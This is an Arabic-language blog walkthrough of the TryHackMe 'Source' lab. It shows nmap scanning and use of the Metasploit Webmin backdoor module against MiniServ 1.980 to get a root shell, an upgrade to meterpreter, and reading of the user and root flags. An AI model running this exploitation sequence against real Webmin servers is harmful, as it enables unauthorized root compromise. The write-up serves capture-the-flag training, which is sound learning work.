Search 🔎🖥️

TryHackMe|Source WriteUp\Walkthrough (Arabic)

بسم الله

اللي يبغى يشوف الحل مشروح فيديو يرجع للفيديو على قناتي باليوتيوب على هذا الرابط:


رابط التحدي: https://tryhackme.com/r/room/source
===============================================================

كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe

أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap

sudo nmap IP -vv

طلع معانا 22 و 1000، نرجع نسوي Aggressive سكان عليها.

sudo nmap IP -vv -A -p 22,1000

بورت 22 عليها SSH server وبما إن ما عندنا أي معلومات نقدر من خلالها نتصل بالجهاز فما رح نستفيد منها، وكمان لو حاولنا نسوي brute force بياخذ وقت طويل جدا مننا. لكن على بورت 1000 موجود web server اسمه MiniServ بنسخة 1.980 ولو بحثتوا باسمه ونسخته رح تلقون إنه فيه ثغرة ممكن استغلالها ومباشرة رح تعطينا root shell

كيف نسوي كذا ؟؟ ببساطة بنستخدم Metasploit بما إنه فيه module جاهزة لاستغلال هذه الثغرة. نشغل Metasploit

msfconsole

ثم نبحث 

search webmin

بيطلع مجموعة من الـmodules، اللي بنستخدمها هي 

use exploit/linux/http/webmin_backdoor

نستعرض الـoptions ونشوف ايش اللي يبغى له تعديل

options

نحتاج فقط نعدل على 3 أشياء

set lhost tun0

tun0 هي الـinerface للـopenVPN connection

set rhosts IP

set ssl true

ثم نشغل الـmodule

بنحصل على shell وأنا أبغى أحصل على meterpreter session لأنها أسهل بالاستخدام، ولها مميزات عديدة

بأسوي background عن طريق إني أضغط ctrl+z بعدين 

sessions -u 1

عشان يسوي upgrade للجلسة رقم 1، نعطيه وقت وثم بنحصل على meterpreter session، ندخل عليها باستخدام 

sessions 2

بعدين

shell

/bin/bash -i

وبنحصل على shell كـroot  


نبدأ نبحث عن الفلاقات

find / -name "user.txt" -type f

وبيطلع معانا إنه موجود في المسار 
/home/dark/user.txt


نستعرضه باستخدام cat وبكذا حصلنا على أول فلاق ✨


بنفس الطريقة بنبحث عن root.txt وبيطلع موجود في الـhome directory للـroot


نستعرضه بـcat وبكذا نكون حصلنا على ثاني فلاق وانتهينا من الحل، بالتوفيييق لكم 😊

Comments

Popular posts from this blog

TryHackMe|Blog WriteUp\Walkthrough (Arabic)

eJPTv2 Exam Review (Arabic)

TryHackMe|Blueprint WriteUp\Walkthrough (Arabic)